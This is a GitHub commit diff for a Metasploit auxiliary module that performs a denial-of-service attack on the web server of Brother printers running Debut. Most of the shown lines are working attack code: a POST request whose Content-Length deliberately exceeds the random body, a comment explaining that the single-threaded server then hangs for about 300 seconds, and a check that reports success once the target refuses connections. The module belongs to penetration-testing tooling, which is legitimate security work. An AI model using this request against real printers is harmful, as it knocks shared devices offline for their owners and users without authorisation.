Skip to content

Commit bc0a08e

Browse files
committed
a few updates per bcoles
1 parent 67c2119 commit bc0a08e

File tree

1 file changed

+8
-6
lines changed

1 file changed

+8
-6
lines changed

modules/auxiliary/dos/http/brother_debut_dos.rb

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
'License' => MSF_LICENSE,
2020
'Author' =>
2121
[
22-
'z00n', # vulnerability disclosure
22+
'z00n <[email protected]>', # vulnerability disclosure
2323
'h00die' # metasploit module
2424
],
2525
'References' => [
@@ -43,11 +43,13 @@ def run
4343
begin
4444
time = Time.new
4545
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}. Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
46-
# This request will set DoS the server for ~300 seconds
46+
# The web server is single threaded, and when the content length is longer than the data, it will continue to wait
47+
# for the rest of the data, which never comes, and times out after ~300 seconds.
48+
data = Rex::Text.rand_text_alphanumeric(40)
4749
send_request_cgi({
4850
'method' => 'POST',
4951
'uri' => '/',
50-
'data' => 'asdasdasdasdasdasdasd',
52+
'data' => data, #'asdasdasdasdasdasdasd',
5153
'headers' => {
5254
# These are kept here since they were in the original exploit, however they are not required
5355
#'Host' => 'asdasdasd',
@@ -58,7 +60,7 @@ def run
5860
#'Connection' => 'close',
5961
#'Upgrade-Insecure-Requests' => 1,
6062
#'Content-Type' => 'application/x-www-form-urlencoded',
61-
'Content-Length' => 42
63+
'Content-Length' => data.length + rand(10) + 10 #42
6264
}
6365
})
6466

@@ -69,9 +71,9 @@ def run
6971

7072
# Check to see if it worked or not
7173
if is_alive?
72-
print_error("#{rhost}:#{rport} - Server is still alive")
74+
print_error("#{peer} - Server is still alive")
7375
else
74-
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
76+
print_good("#{peer} - Connection Refused: Success!")
7577
end
7678

7779
end

0 commit comments

Comments
 (0)